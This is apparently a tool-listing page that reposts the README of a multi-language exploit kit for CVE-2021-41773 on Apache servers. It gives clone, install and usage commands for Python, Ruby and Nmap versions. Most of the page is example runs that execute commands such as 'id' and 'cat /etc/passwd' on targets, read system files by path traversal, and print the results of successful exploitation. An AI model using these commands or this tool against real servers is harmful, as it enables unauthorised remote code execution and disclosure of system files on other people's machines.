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CVE-2021-41773 — Multi-language exploit and detection scripts for CVE-2021-41773, enabling remote code execution and local file disclosure on vulnerable Apache servers. | Kitploit
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CVE-2021-41773

Multi-language exploit and detection scripts for CVE-2021-41773, enabling remote code execution and local file disclosure on vulnerable Apache servers.

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CVE-2021-41773

Description

This script exploits CVE-2021-41773 to print file or/and execute command.

This script is available for:

  • Nmap
  • Python
  • Ruby

Requirements

Python

  • python3
  • python3 Standard Library

Ruby

  • Ruby
  • Ruby Standard Library

Install

root@kitploit:~
git clone https://github.com/mauricelambert/CVE-2021-41773.git
cd CVE-2021-41773

# Python
pip install -r requirements.txt

Usages

root@kitploit:~
# Python
python3 CVE202141773.py [(-f/--file FILE|-c/--commands COMMAND1 COMMAND2 ...) -s/--ssl -o/--output FILE target]

# Nmap
nmap -p 80 --script RCE_CVE2021_41773 [--script-args "file=<file>" "command=<command>"] <target>

# Ruby
ruby CVE-2021-41773.rb [(-f/--file FILE|-c/--commands "COMMAND1;COMMAND2;...") -o/--output FILE target]

Examples

Python

root@kitploit:~
~# python3 CVE202141773.py 127.0.0.1:80
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[-] Target is not vulnerable.
 
~# python3 CVE202141773.py 127.0.0.1:8080
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[+] Target is vulnerable.
 
~# python3 CVE202141773.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 127.0.0.1:8080
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 
~# python3 CVE202141773.py -f "/etc/passwd" -o out.txt 127.0.0.1:8080
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[+] Target is vulnerable.
 
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -u "error" -f "/do/not/exists" 172.17.0.2
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 403).
 
~# python3 CVE202141773.py -f "/do/not/exists" 172.17.0.2
 
CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
 
PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
 
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 404).
 
~#

Ruby

root@kitploit:~
~# ruby CVE-2021-41773.rb 127.0.0.1

CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target: 127.0.0.1 is vulnerable

~# ruby CVE-2021-41773.rb -c "id; echo abc" 127.0.0.1

CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
abc

~# ruby CVE-2021-41773.rb -f "/etc/passwd" -o abc.txt

CVE-2021-41773  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Host (target): 127.0.0.1
[+] Target is vulnerable.

~# cat abc.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# 

Nmap

root@kitploit:~
~# nmap -p 80 --script RCE_CVE2021_41773 172.17.0.2  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:39 CET
NSE: Web service is up. Send payload...
NSE: Mode: detect only. No exploit.
NSE: Target is vulnerable.
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).

PORT   STATE SERVICE
80/tcp open  http
| RCE_CVE2021_41773: 
|   CVE-2021-41773: 
|     title: Apache CVE-2021-41773 RCE
|     state: VULNERABLE (Exploitable)
|     ids: 
|       CVE:CVE-2021-41773
|     description: 
|       The Apache Web Server contains a RCE vulnerability. This
|       script detects and exploits this vulnerability with RCE
|       attack (execute commands) and local file disclosure.
|     dates: 
|       disclosure: 
|         year: 2021
|         day: 29
|         month: 09
|     disclosure: 2021-09-29
|     refs: 
|       https://nvd.nist.gov/vuln/detail/CVE-2021-41773
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|_      https://github.com/mauricelambert/CVE-2021-41773

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "file=/etc/passwd" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:38 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit local file disclosure
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00017s latency).

PORT   STATE SERVICE
80/tcp open  http
| RCE_CVE2021_41773: 
|   CVE-2021-41773: 
|     title: Apache CVE-2021-41773 RCE
|     state: VULNERABLE (Exploitable)
|     ids: 
|       CVE:CVE-2021-41773
|     description: 
|       The Apache Web Server contains a RCE vulnerability. This
|       script detects and exploits this vulnerability with RCE
|       attack (execute commands) and local file disclosure.
|     dates: 
|       disclosure: 
|         month: 09
|         year: 2021
|         day: 29
|     disclosure: 2021-09-29
|     refs: 
|       https://github.com/mauricelambert/CVE-2021-41773
|       https://nvd.nist.gov/vuln/detail/CVE-2021-41773
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|     exploit output: 
|        
| root:x:0:0:root:/root:/bin/bash
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|_

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "command=id" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:32 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit RCE
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00087s latency).

PORT   STATE SERVICE
80/tcp open  http
| RCE_CVE2021_41773: 
|   CVE-2021-41773: 
|     title: Apache CVE-2021-41773 RCE
|     state: VULNERABLE (Exploitable)
|     ids: 
|       CVE:CVE-2021-41773
|     description: 
|       The Apache Web Server contains a RCE vulnerability. This
|       script detects and exploits this vulnerability with RCE
|       attack (execute commands) and local file disclosure.
|     dates: 
|       disclosure: 
|         day: 29
|         year: 2021
|         month: 09
|     disclosure: 2021-09-29
|     refs: 
|       https://nvd.nist.gov/vuln/detail/CVE-2021-41773
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|       https://github.com/mauricelambert/CVE-2021-41773
|     exploit output: 
|        
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|_

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
~# 

Exit codes

  • 0: Target is vulnerable
  • 1: Target is not vulnerable
  • 127: State unknown

Links

  • nvd
  • Pydoc and examples
  • Rdoc
  • Payload and docker environment

Licence

Licensed under the GPL, version 3.

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